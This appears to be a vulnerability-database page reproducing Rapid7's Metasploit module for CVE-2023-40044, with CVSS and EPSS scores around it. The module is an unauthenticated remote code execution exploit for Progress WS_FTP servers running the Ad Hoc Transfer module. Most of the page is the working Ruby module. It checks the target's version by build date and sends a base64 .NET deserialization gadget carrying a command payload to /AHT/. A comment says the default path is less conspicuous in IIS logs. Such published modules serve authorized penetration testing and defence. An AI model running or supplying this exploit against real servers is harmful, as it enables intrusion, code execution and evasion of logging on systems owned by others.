Lucene search

K
metasploitSfewer-r7MSF:EXPLOIT-WINDOWS-HTTP-WS_FTP_RCE_CVE_2023_40044-
HistoryOct 02, 2023 - 10:42 a.m.

Progress Software WS_FTP Unauthenticated Remote Code Execution

2023-10-0210:42:19
sfewer-r7
www.rapid7.com
165
remote code execution
unsafe deserialization vulnerability
.net
progress software ws_ftp
ad hoc transfer
vulnerability
cve-2023-40044
metasploit
windows
ssl
powershell payloads
nt authority\network service
iis logs
aht module
nokogiri
html.

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

9.1 High

AI Score

Confidence

High

0.886 High

EPSS

Percentile

98.7%

This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability was originally discovered by AssetNote.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Progress Software WS_FTP Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
          execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server
          prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability
          was originally discovered by AssetNote.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2023-40044'],
          ['URL', 'https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis'],
          ['URL', 'https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023'],
          ['URL', 'https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044']
        ],
        'DisclosureDate' => '2023-09-27',
        'Platform' => %w[win],
        'Arch' => [ARCH_CMD],
        # 5000 will allow the powershell payloads to work as they require ~4200 bytes. Notably, the ClaimsPrincipal and
        # TypeConfuseDelegate (but not TextFormattingRunProperties) gadget chains will fail if Space is too large (e.g.
        # 8192 bytes), as the encoded payload command is padded with leading whitespace characters (0x20) to consume
        # all the available payload space via ./modules/nops/cmd/generic.rb).
        'Payload' => { 'Space' => 5000 },
        'Privileged' => false, # Code execution as `NT AUTHORITY\NETWORK SERVICE`.
        'Targets' => [
          [
            'Windows', {}
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # This URI path can be anything so long as it begins with /AHT/. We default ot /AHT/ as it is less obvious in
        # the IIS logs as to what the request is for, however the user can change this as needed if required.
        Msf::OptString.new('TARGET_URI', [ false, 'Target URI used to exploit the deserialization vulnerability. Must begin with /AHT/', '/AHT/']),
      ]
    )
  end

  def check
    # As the vulnerability lies in the WS_FTP Ad Hoc Transfer (AHT) module, we query the index HTML file for AHT.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/AHT/AHT_UI/public/index.html'
    )

    return CheckCode::Unknown('Connection failed') unless res

    title = Nokogiri::HTML(res.body).xpath('//head/title')&.text

    # We verify the target is running the AHT module, by inspecting the HTML heads title.
    if title == 'Ad Hoc Transfer'
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => '/AHT/AHT_UI/public/js/app.min.js'
      )

      return CheckCode::Unknown('Connection failed') unless res

      # The patched versions were released on September 2023. We can query the date stamp in the app.min.js file
      # to see when this file was built. If it is before Sept 2023, then we have a vulnerable version of WS_FTP,
      # but if it was build on Sept 2023 or after, it is not vulnerable.

      if res.code == 200 && res.body =~ %r{/\*! fileTransfer (\d+)-(\d+)-(\d+) \*/}
        day = ::Regexp.last_match(1).to_i
        month = ::Regexp.last_match(2).to_i
        year = ::Regexp.last_match(3).to_i

        description = "Detected a build date of #{day}-#{month}-#{year}"

        if year > 2023 || (year == 2023 && month >= 9)
          return CheckCode::Safe(description)
        end

        return CheckCode::Appears(description)
      end

      # If we couldn't get the JS build date, we at least know the target is WS_FTP with the Ad Hoc Transfer module.
      return CheckCode::Detected
    end

    CheckCode::Unknown
  end

  def exploit
    unless datastore['TARGET_URI'].start_with? '/AHT/'
      fail_with(Failure::BadConfig, 'The TARGET_URI must begin with /AHT/')
    end

    # All of these gadget chains will work. We pick a random one during exploitation.
    chains = %i[ClaimsPrincipal TypeConfuseDelegate TextFormattingRunProperties]

    gadget = ::Msf::Util::DotNetDeserialization.generate(
      payload.encoded,
      gadget_chain: chains.sample,
      formatter: :BinaryFormatter
    )

    # We can reach the unsafe deserialization via either of these tags. We pick a random one during exploitation.
    tags = %w[AHT_DEFAULT_UPLOAD_PARAMETER AHT_UPLOAD_PARAMETER]

    message = Rex::MIME::Message.new

    part = message.add_part("::#{tags.sample}::#{Rex::Text.encode_base64(gadget)}\r\n", nil, nil, nil)

    part.header.set('name', rand_text_alphanumeric(8))

    res = send_request_cgi(
      {
        'uri' => normalize_uri(datastore['TARGET_URI']),
        'ctype' => 'multipart/form-data; boundary=' + message.bound,
        'method' => 'POST',
        'data' => message.to_s
      }
    )

    unless res&.code == 302
      fail_with(Failure::UnexpectedReply, 'Failed to trigger vulnerability')
    end
  end

end

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

9.1 High

AI Score

Confidence

High

0.886 High

EPSS

Percentile

98.7%